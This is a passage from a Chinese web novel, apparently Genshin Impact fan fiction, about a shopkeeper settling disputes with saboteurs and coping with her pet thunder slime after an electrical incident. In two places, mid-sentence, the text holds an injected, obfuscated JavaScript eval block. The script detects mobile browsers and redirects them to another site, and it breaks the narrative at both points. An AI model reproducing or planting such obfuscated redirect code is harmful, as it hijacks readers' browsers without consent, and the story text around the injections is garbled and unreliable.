"这三位不是联合会成员，但他们的行为影响的是整条商业街的商誉。"荧说，"如果消息传出去，外人不会说''三个散户搞的''，会说''商业街排外''。联合会刚建立的合作品牌形象，一夜之间就没了。" 中年男人的表情经历了四个阶段：困惑、震惊、愤怒、沉思。 "你想怎么办？" "联合会出面处理。要求这三家赔偿我的直接损失：脆片一百二十摩拉、坐垫六十摩拉、招牌清洁三十摩拉，合计两百一十摩拉。同时，这三家加入联合会的合作体系。" "你要让搞你的人加入合作？" "把敌人变成合作方，永远比把敌人打死划算。"荧说，"他们搞破坏是因为被排斥在利益圈外面。让他们进来，享受同样的九五折联动引流，拿到跟其他会员一样的客流分成。进来之后，他们的利益就和整条街绑定了，不可能再搞破坏。" "如果不同意？" "那就由联合会自己决定怎么处理。毕竟，损害商业街整体商誉的事，联合会不可能不管。" 中年男人想了一会儿。"而且如果他们不同意，这些证据随时可以交给天领奉行。" "这是您的判断，不是我说的。" "你这个人，"中年男人看着荧，"比我做了二十年生意的人都精。" "前世叫胡萝卜加大棒。萝卜是合作权益，大棒是证据链。聪明人都知道选萝卜。" 当天下午，三家店铺的老板被联合会叫到了一起。中年男人先带他们去店门口看了招牌上还没清理干净的墨渍，再回来看简笔画和实物证据。 茶屋老板的脸绿了。点心铺老板娘的脸白了。居酒屋老板的脸红了。 三种颜色，同一个表情：完了。 尤其是看到简笔画的时候。甲把他们三个画得神形兼备，圆帽短胡子、长脸戴花、方脸配酒壶，在场的联合会成员一眼就认出了是谁。居酒屋老板指着画说："这谁画的？" "我的员工。"荧说。 "你让一只丘丘人画的？" " ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259893|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它画画比你涂招牌好看。" 他们赔了两百一十摩拉，加入了合作体系，签了承诺书。 荧在笔记本上写："商业街治理完成。暗算三人组全部收编。成本：一块石板加几根炭笔，约两摩拉。收益：三家新合作店铺、两百一十摩拉赔偿、商业街全覆盖合作网络。投入产出比：一比一百零五。前世花几万块请调查公司才能查到的证据，一只丘丘人两摩拉搞定了。" 下面是派蒙的字："荧解决问题的方式：不打架不骂人不报官。让丘丘人画简笔画，请第三方出面，给对方两条路。前世叫什么来着？" "合规施压加利益捆绑。" "我觉得叫''你要脸还是要钱''。" 这天傍晚，荧关了店，坐在二楼窗边整理笔记本。 充电宝在柜台底下的纸盒里安静地发着微光。它最近的状态有点不一样。光比以前亮了，颜色从暗紫变成了偏亮的蓝紫色，偶尔发出轻微的滋滋声。 荧伸手碰了一下。 电流比以前强了。不是一点点，是明显增强。之前的按摩级微电流，现在有一点刺痛感。 "派蒙。充电宝的电流变强了。" 派蒙碰了一下，手缩回来。"确实。比之前麻多了。" 荧翻了之前的天领奉行检测报告。元素力一级。但现在这个强度，感觉已经不止一级了。 "它在长大。" 充电宝的身体确实比刚捡到的时候大了一圈。之前荔枝大小，现在接近一个鸡蛋。颜色更深，纹路更清晰，内部的电光流动速度比之前快了。 荧看了看纸盒旁边。夜泊石粉末的袋子被翻开了一个角，里面的粉末少了一截。 "它偷吃粉末了。" "不是按日薪制定量喂的吗？" "定量的是我给的。这个是它自己加餐的。" 荧的内心弹幕：充电宝在加速吸收夜泊石的元素能量。它的元素力在增长。之前是一级，现在可能接近二级了。天领奉行的饲养许可安全阈值是三级。如果继续涨下去超过三级，许可就要出问题。更关键的是，电流已经不适合做按摩了。再强下去不是按摩，是电击。 "明天去天领奉行做一次复检。"荧说。然后她在笔记本上写了一整页的应对方案： "充电宝元素力增长应急预案。第一，立即复检，确认当前等级。第二，锁住夜泊石粉末袋，钥匙交给丁保管，丁的本职就是仓库看守，粉末纳入仓库管控范围，每天由荧亲自取定量给充电宝，杜绝偷吃。第三，如果已达二级，向天领奉行申请许可等级变更，二级仍在安全阈值内。第四，如果接近三级，暂停按摩业务，改由人工热敷替代（成本会上升，但合规优先）。第五，准备备用收入方案：烟花线和脆片线加大出货量，补按摩停摆的利润缺口。风险预案是本能。" 充电宝在纸盒里滋滋冒着电花。比以前亮。比以前密。荧看着它，觉得这只零命雷史莱姆好像要开始突破了。 派蒙在旁边加了一行字："如果充电宝升级了，按摩就得涨价。电压高了，服务档次也高了。" "你这个涨价逻辑完全不对。电压高了该停业整顿，不是涨价。" "那不涨价也行。反正你肯定能想出新的赚钱方式。" "这倒是。"荧在笔记本最后写了一行，"但先把粉末锁起来再说。丁，明天起夜泊石粉末归你管，锁仓库柜子里，钥匙你拿着。" 丁在二楼点了点头，用石头在地上画了一把钥匙和一个锁，表示收到。 58.雷史莱姆暴怒（上） 脆片供应链的追查结果出来了。 荧花了三天时间倒查了整条供应链。高盐脆片不是供应商故意发错货，是在运输途中被人掉包的。从离岛到城下町的运输路线上有一个中转仓，管理人叫源次郎，从离岛来的批发商人，同时给商业街七八家店铺供货。 派蒙从渔妇八卦网查到了关键信息：源次郎和清风轩的茶屋老板是老交情，两人经常一起喝酒。 荧的内心弹幕：因果链闭合了。茶屋老板想搞我的脆片，自己不方便碰供应链，就找了供货渠道上的熟人帮忙掉包。源次郎拿了好处费，在中转仓把正常脆片换成了高盐版。之前三个商贩已经赔了钱签了承诺书，但源次郎这条线一直没人查。 三个商贩被收编之后不再从源次郎那里进货了。源次郎一下子丢了三个老客户，把账算到了荧头上。 这天中午，源次郎来了。 直接推门进来，身后跟着两个搬货的帮工，码头上常见的壮汉，肩膀比门框窄不了多少。 "你就是那个璃月来的老板娘？" 荧正在柜台后面整理笔记本。她抬头看了一眼。中年男人，方脸，络腮胡，身上鱼腥味和酒味混着。后面两个帮工堵了门口一半。 "是。请问有什么事？" "什么事？你查我的供应链，害我丢了三个大客户。清风轩、花月堂、浮世亭，全不从我这进货了。你知道三家一年给我多少生意吗？" "这三家是因为搞破坏被联合会处理了。跟我查供应链没关系。" "没关系？要不是你查出来谁知道？我的货走了十几年没出过问题，就你多事！" 荧的内心弹幕：逻辑混乱。他帮人掉包是事实，反过来怪我查出来了。前世在广告行业见多了，甲方出了事先找乙方麻烦，跟被抓的小偷骂锁匠一个路数。 "源次郎先生，"荧的语气平稳，"你帮茶屋老板掉包我的脆片，这件事我有证据。我没报官也没找你索赔，已经很客气了。建议你现在离开。" 源次郎脸涨红了，往前两步，手拍在柜台上。 拍柜台的时候，他的手扫到了柜台边缘的一个纸盒。 充电宝的纸盒。 纸盒被拍飞了，在地上翻了两圈。充电宝从里面滚出来，滚到了源次郎脚边。 源次郎低头看了一眼，没在意，抬脚就踢。 一脚踢在充电宝身上。 充电宝被踢到墙角。缩成一团，身上电光闪了两下。然后它开始发出一种荧从来没听过的声音。不是平时安静的滋滋声，是尖锐的、频率越来越高的嗡鸣。 身上的光从暗紫变成了亮蓝色。 荧的反应比所有人都快。 "所有人后退。" 她声音不大但极其清楚。店里几个客人开始往门口挪。派蒙飞到了天花板上。初号机在门口本能挡住了两个帮工。 源次郎没有后退。他还在骂。 充电宝炸了。 不是爆炸。是元素力瞬间释放。一道蓝白色电弧从它身上弹射出来，击中了最近的金属物体，也就是源次郎手边的柜台铜片。电流沿铜片扩散，劈啪作响，整个柜台亮了一瞬。 源次郎的手还搭在柜台上。 电流穿过他的手臂，整个人抖了一下，头发炸开，嘴张着发不出声。两秒后腿软了，直接坐到地上。 两个帮工本能冲过来拉他，碰到还带电的柜台，也跟着抖了起来。三个人在地上抽搐了五六秒，像三条被电的咸鱼。 充电宝释放完能量后颜色从亮蓝退回暗紫。它缩在墙角，身体微微发抖。 荧的内心弹幕：完了。魔物伤人。不管是不是应激，天领奉行肯定要来。饲养许可的核心条款就是"不得对人造成伤害"。前世遇到过类似的：养的狗咬了快递员，不管是不是快递员先踢的狗，狗主人都有责任。先处理现场，再处理合规。 她迅速做了四件事。 第一，把充电宝捡起来放进元素屏蔽箱。这个箱子之前从矿石商那里买的，内壁有隔绝元素能量的涂层，原本保存夜泊石粉末防泄漏，现在隔离充电宝刚好。 第二，检查了源次郎三人的状况。全身发麻但没有外伤，短时间站不起来。头发全炸开了，像三个刺猬。 第三，让派蒙找来了两个在店里做按摩的客人作为目击证人，记下了事件经过：源次郎未经许可闯入店铺、拍打柜台、脚踢店内登记饲养的魔物，导致魔物应激释放元素能量。 第四，让派蒙去通知天领奉行。 等天领奉行的时间里，荧蹲下来看着源次郎。 "源次郎先生。掉包脆片的事我有证据。今天闯店的事有两位客人目击。你踢我的登记饲养魔物导致它应激伤人，按天领奉行的魔物管控条例，责任在你这边。" 源次郎头发还炸着，嘴唇哆嗦。 "现在你有两个选择。第一，等天领奉行来了之后，我把掉包证据加闹店目击加踢打登记魔物的事一起报上去，你在稻妻的批发生意就结束了。第二，你现在赔偿损失，签一份承诺书，以后不再骚扰我的店铺和供应链。" "赔……多少？" "脆片掉包直接损失一百二十摩拉。闹店导致客人流失，按今日预估营收两成算，六十摩拉。合计一百八十摩拉。" 源次郎哆哆嗦嗦掏了钱袋。 荧接过钱的同时让派蒙写了一份承诺书。内容很简单：源次郎承认掉包脆片和闯店闹事的事实，承诺不再骚扰望舒客栈稻妻分店及其关联供应链，如有违反，荧保留向天领奉行提交全部证据的权利。 源次郎签了字。两个帮工做了见证。 "另外，以后我的供货渠道改为直接跟离岛产地对接，不走中转仓。你的中转仓生意跟我没关系了。但你的其他客户我不干涉。做你的生意，别碰我的。" 源次郎被两个帮工架着走了。三个人走路的姿势都有点歪，腿还在发软。 天领奉行的巡查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264528|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官十分钟后到了。还是那个年轻巡查官。 他进来先看了看地上的电击焦痕，听了两个目击证人的陈述，又看了荧准备好的事件经过书面说明和源次郎签的承诺书。巡查官问了一句"伤者人呢"，荧说已经赔了钱签了承诺书离开了，两位目击证人可以作证。巡查官记下了源次郎的姓名和中转仓地址备查。 "事件定性：外来人员未经许可进入店铺，对登记饲养魔物实施攻击行为，导致魔物应激性元素释放。"巡查官在记录本上写着，"责任认定：主要责任在外来人员，饲养方无主观过失。但饲养方有管理义务，魔物未能在受刺激时处于安全约束状态，需承担次要管理责任。" "处理意见？" "许可不吊销。但加三个条件。"巡查官说，"第一，接下来一个月每周复检一次元素力，四次检测都稳定在三级以下才恢复正常监管。第二，饲养方需在店内设置魔物安全约束区域，确保魔物在受刺激时不会直接接触客人。第三，本次事件备案存档，如果半年内再出现魔物伤人事件，许可直接吊销。" "都接受。"荧说。 巡查官掏出检测设备。"打开屏蔽箱。" 荧打开了。充电宝缩在里面，光暗了很多但偶尔还闪。 检测器数字跳了几下。"当前元素力：二点七级。安全阈值三级。没有持续超标。瞬间峰值超过了三级，但属于应激性释放，不计入常态评估。" 荧的内心弹幕：二点七。离三级只差零点三。偷吃粉末加上刚才的应激释放，它的元素力在加速增长。粉末已经锁了，现在关键是不能再喂任何可能推高元素力的东西。 巡查官走了。荧在笔记本上写了一整段事后复盘： "充电宝应激事件复盘。教训：纸盒不是安全约束装置。明天让甲去木工那里定做一个带锁扣的木质围栏，放在柜台底下，平时充电宝在里面活动，有人靠近也碰不到。成本大约十摩拉。花十摩拉换半年内不被吊销许可，值。" 然后她听到了外面的声音。 一种熟悉的滋滋声。不是一只，是好几只。 她走到门口。 巷子里蹲着四只雷史莱姆。 比充电宝大一号，颜色更深，身上电光比充电宝平时亮。它们没有排成一排安安静静等着。它们分散在巷子四个角落，身上电光不规则闪烁，呈明显的警戒状态。最大的那只看到荧走出来，身上电弧猛地亮了一下。 "野生的。"荧退回了门口。 "被充电宝刚才的高压电波吸引过来的。"派蒙说，"雷史莱姆之间能感应同类的元素波动。充电宝那一下释放量很大，信号覆盖范围估计半个城下町。" "别出去。"荧说，"野生雷史莱姆有攻击性。不是充电宝那种从小养的，靠近了会放电。" 她关了门。让丁从二楼窗户观察，甲在门口画了四只史莱姆的位置分布图。 四只野生雷史莱姆在巷子里待了一整夜。